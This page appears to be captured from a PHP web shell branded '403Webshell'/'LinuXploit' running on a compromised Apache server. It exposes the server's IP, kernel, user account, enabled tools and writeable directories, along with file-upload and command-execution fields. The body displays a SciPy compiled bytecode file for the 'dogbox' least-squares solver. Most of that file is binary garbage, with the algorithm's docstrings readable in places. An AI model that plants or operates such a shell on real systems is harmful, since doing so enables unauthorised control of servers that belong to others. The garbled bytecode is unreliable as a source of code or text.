403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/optimize/_lsq/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/optimize/_lsq/__pycache__/dogbox.cpython-311.pyc
�

d�c�-���dZddlZddlmZmZddlmZmZm	Z	ddl
mZddlm
Z
mZmZmZmZmZmZmZmZmZmZmZd�Zd	�Zd
�Zd�ZdS)a	
Dogleg algorithm with rectangular trust regions for least-squares minimization.

The description of the algorithm can be found in [Voglis]_. The algorithm does
trust-region iterations, but the shape of trust regions is rectangular as
opposed to conventional elliptical. The intersection of a trust region and
an initial feasible region is again some rectangle. Thus, on each iteration a
bound-constrained quadratic optimization problem is solved.

A quadratic problem is solved by well-known dogleg approach, where the
function is minimized along piecewise-linear "dogleg" path [NumOpt]_,
Chapter 4. If Jacobian is not rank-deficient then the function is decreasing
along this path, and optimization amounts to simply following along this
path as long as a point stays within the bounds. A constrained Cauchy step
(along the anti-gradient) is considered for safety in rank deficient cases,
in this situations the convergence might be slow.

If during iterations some variable hit the initial bound and the component
of anti-gradient points outside the feasible region, then a next dogleg step
won't make any progress. At this state such variables satisfy first-order
optimality conditions and they are excluded before computing a next dogleg
step.

Gauss-Newton step can be computed exactly by `numpy.linalg.lstsq` (for dense
Jacobian matrices) or by iterative procedure `scipy.sparse.linalg.lsmr` (for
dense and sparse matrices, or Jacobian being LinearOperator). The second
option allows to solve very large problems (up to couple of millions of
residuals on a regular PC), provided the Jacobian matrix is sufficiently
sparse. But note that dogbox is not very good for solving problems with
large number of constraints, because of variables exclusion-inclusion on each
iteration (a required number of function evaluations might be high or accuracy
of a solution will be poor), thus its large-scale usage is probably limited
to unconstrained problems.

References
----------
.. [Voglis] C. Voglis and I. E. Lagaris, "A Rectangular Trust Region Dogleg
            Approach for Unconstrained and Bound Constrained Nonlinear
            Optimization", WSEAS International Conference on Applied
            Mathematics, Corfu, Greece, 2004.
.. [NumOpt] J. Nocedal and S. J. Wright, "Numerical optimization, 2nd edition".
�N)�lstsq�norm)�LinearOperator�aslinearoperator�lsmr)�OptimizeResult�)�step_size_to_bound�	in_bounds�update_tr_radius�evaluate_quadratic�build_quadratic_1d�minimize_quadratic_1d�compute_grad�compute_jac_scale�check_termination�scale_for_robust_loss_function�print_header_nonlinear�print_iteration_nonlinearc�l�����j\}}���fd�}���fd�}t||f||t���S)z�Compute LinearOperator to use in LSMR by dogbox algorithm.

    `active_set` mask is used to excluded active variables from computations
    of matrix-vector products.
    c���|������}d|�<��|�z��S�Nr)�ravel�copy�matvec)�x�x_free�Jop�
active_set�ds  ����</usr/lib/python3/dist-packages/scipy/optimize/_lsq/dogbox.pyrzlsmr_operator.<locals>.matvec@s:����������!�!����z���z�z�!�a�%� � � �c�B�����|��z}d|�<|Sr)�rmatvec)r�rrrr s  ���r!r$zlsmr_operator.<locals>.rmatvecEs%���
����A�������*�
��r")rr$�dtype)�shaper�float)rr r�m�nrr$s```    r!�
lsmr_operatorr+8su������9�D�A�q�!�!�!�!�!�!�!�
�������
�1�a�&����N�N�N�Nr"c�&�||z
}||z
}tj||��}tj||��}tj||��}tj||��}	tj||��}
tj||��}||||	|
|fS)aFind intersection of trust-region bounds and initial bounds.

    Returns
    -------
    lb_total, ub_total : ndarray with shape of x
        Lower and upper bounds of the intersection region.
    orig_l, orig_u : ndarray of bool with shape of x
        True means that an original bound is taken as a corresponding bound
        in the intersection region.
    tr_l, tr_u : ndarray of bool with shape of x
        True means that a trust-region bound is taken as a corresponding bound
        in the intersection region.
    )�np�maximum�minimum�equal)r�	tr_bounds�lb�ub�lb_centered�ub_centered�lb_total�ub_total�orig_l�orig_u�tr_l�tr_us            r!�find_intersectionr<Ms����q�&�K��q�&�K��z�+�	�z�2�2�H��z�+�y�1�1�H�
�X�h��
,�
,�F�
�X�h��
,�
,�F�
�8�H�y�j�)�)�D�
�8�H�i�(�(�D��X�v�v�t�T�9�9r"c���t||||��\}}	}
}}}
tj|t���}t	|||	��r||dfSttj|��|||	��\}}t
||d|��d|z}||z
}t||||	��\}}d||dk|
z<d||dk|z<tj|dk|z|dk|
zz��}|||zz||fS)a�Find dogleg step in a rectangular region.

    Returns
    -------
    step : ndarray, shape (n,)
        Computed dogleg step.
    bound_hits : ndarray of int, shape (n,)
        Each component shows whether a corresponding variable hits the
        initial bound after the step is taken:
            *  0 - a variable doesn't hit the bound.
            * -1 - lower bound is hit.
            *  1 - upper bound is hit.
    tr_hit : bool
        Whether the step hit the boundary of the trust-region.
    �r&Fr���r	)r<r-�
zeros_like�intrr
r�any)r�newton_step�g�a�br1r2r3r6r7r8r9r:r;�
bound_hits�	to_bounds�_�cauchy_step�	step_diff�	step_size�hits�tr_hits                      r!�dogleg_steprOjs/�� 6G�	�9�b�"�6�6�2�H�h����d���q��,�,�,�J���h��1�1�.��J��-�-�%�b�m�A�&6�&6���H�h�O�O�L�I�q�)��A�q�)�<�<�Q�?�?�!�C�K��k�)�I�(��i�)1�8�=�=�O�I�t�&(�J��q��F�"�#�&'�J��q��F�"�#�
�V�T�A�X��%����T�(9�9�
:�
:�F���Y�.�.�
�F�B�Br"c�	�|}|���}d}|}d}|�=||��}dtj|d��z}t|||��\}}ndtj||��z}t||��}t
|t��o|dk}|rt|��\}}n|d|z}}t||ztj
���}|dkrd}tj|t���}d|tj
||��<d|tj
||��<|}tj|��}|
�
|jd	z}
d}d} d}!d}"|d
krt!��	||zdk}#|#}$||$}%|���}&d||#<t|tj
���}'|'|	krd}|d
krt#| |||"|!|'��|�||
kr�n�||$}(||$})||$}*||$}+|
dkr;|dd�|$f},t%|,|d�
��d}-t'|,|%|%��\}.}/n[|
dkrUt)|��}0t+|0||#��}1t-|1|fi|��d|$}-|-|+z}-t'|0||��\}.}/d}"|"dk�rh||
k�ra||+z}2t/|(|-|%|.|/|2|)|*��\}3}4}5|�d��|3||$<|
dkrt3|,|%|3��}6n|
dkrt3|0||��}6tj||z||��}7||7��}8|dz
}t||ztj
���}9tjtj|8����sd|9z}��|�||8d���}:ndtj|8|8��z}:||:z
}"t;||"|6|9|5��\}};t|��}!t=|"||!t|��|;||��}|�n
|"dkr||
k��a|"dkr�|4||$<|7}|dk}<||<||<<|dk}<||<||<<|8}|���}|:}|||��}|dz
}|�||��}t|||��\}}t||��}|rt||��\}}nd}!d}"| dz
} ��K|�d}t?|||||&|'||||��
�
S)Nr	g�?r�jac)�ordg�?r>r?�d�T�exact)�rcondrg�gg�?)�	cost_only)
r�cost�funrQ�grad�
optimality�active_mask�nfev�njev�status) rr-�sumr�dotr�
isinstance�strrr�infr@rAr0�
empty_like�sizerrrrrr+rrO�fillr
�clip�all�isfiniterrr)=rYrQ�x0�f0�J0r2r3�ftol�xtol�gtol�max_nfev�x_scale�
loss_function�	tr_solver�
tr_options�verbose�f�f_truer]�Jr^�rhorXrD�	jac_scale�scale�	scale_inv�Delta�on_boundr�step�termination_status�	iteration�	step_norm�actual_reductionr�free_set�g_free�g_full�g_normr�lb_free�ub_free�
scale_free�J_freerCrErFr�lsmr_opr1�	step_free�
on_bound_freerN�predicted_reduction�x_new�f_new�step_h_norm�cost_new�ratio�masks=                                                             r!�dogboxr��s��
�A�
�V�V�X�X�F��D�
�A��D�� ��m�A�����R�V�C��F�^�^�#��-�a��C�8�8���1�1��R�V�A�q�\�\�!���Q����A��7�C�(�(�=�W��-=�I��0�,�Q�/�/���y�y�"�A��K�y����i��R�V�,�,�,�E���z�z����}�R�s�+�+�+�H�!#�H�R�X�b�"�
�
��!"�H�R�X�b�"�
�
��
�A�
�=����D����7�S�=�����I��I����!�|�|�� � � �A���\�A�%�
��;���8�����������*�
��a�R�V�$�$�$���D�=�=�!"���a�<�<�%�i��t�=M�&/��
9�
9�
9��)�T�X�-=�-=���8����X�,���X�,���8�_�
������q�q�q�(�{�^�F�����"�5�5�5�a�8�K�&�f�f�v�g�>�>�D�A�q�q�
�&�
 �
 �"�1�%�%�C�$�C��
�;�;�G����9�9�j�9�9�!�<�X�F�F�K��:�%�K�&�c�1�q�b�1�1�D�A�q����!�#�#��x����
�*�I�/:���V�Q��9�g�w�0P�0P�,�I�}�f�
�I�I�c�N�N�N�&�D��N��G�#�#�'9�&�&�:C�(E�(E�'E�#�#��f�$�$�'9�#�q�$�'G�'G�&G�#��G�A��H�b�"�-�-�E��C��J�J�E��A�I�D��t�i�/�R�V�<�<�<�K��6�"�+�e�,�,�-�-�
��{�*����(�(�=��$�?�?�?�������u�!5�!5�5��#�h���+��'�)<��V���L�E�5�
�T�
�
�I�!2� �$�	�4��7�7�E�4��"O�"O��"�-��Y�!�#�#��x���\�a���!.�H�X���A��r�>�D���h�A�d�G��q�=�D���h�A�d�G��A��V�V�X�X�F��D���A�q�	�	�A��A�I�D��(�#�m�A�&�&��5�a��C�@�@���1��Q��"�"�A��
C�#4�Q�	�#B�#B� ��y���I� ���Q��	�CA�F�!����
�$�F���6��4�d�;M�O�O�O�Or")�__doc__�numpyr-�numpy.linalgrr�scipy.sparse.linalgrrr�scipy.optimizer�commonr
rrr
rrrrrrrrr+r<rOr��r"r!�<module>r�sI��)�)�T����$�$�$�$�$�$�$�$�F�F�F�F�F�F�F�F�F�F�)�)�)�)�)�)�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�O�O�O�*:�:�:�:(C�(C�(C�VvO�vO�vO�vO�vOr"

Youez - 2016 - github.com/yon3zu
LinuXploit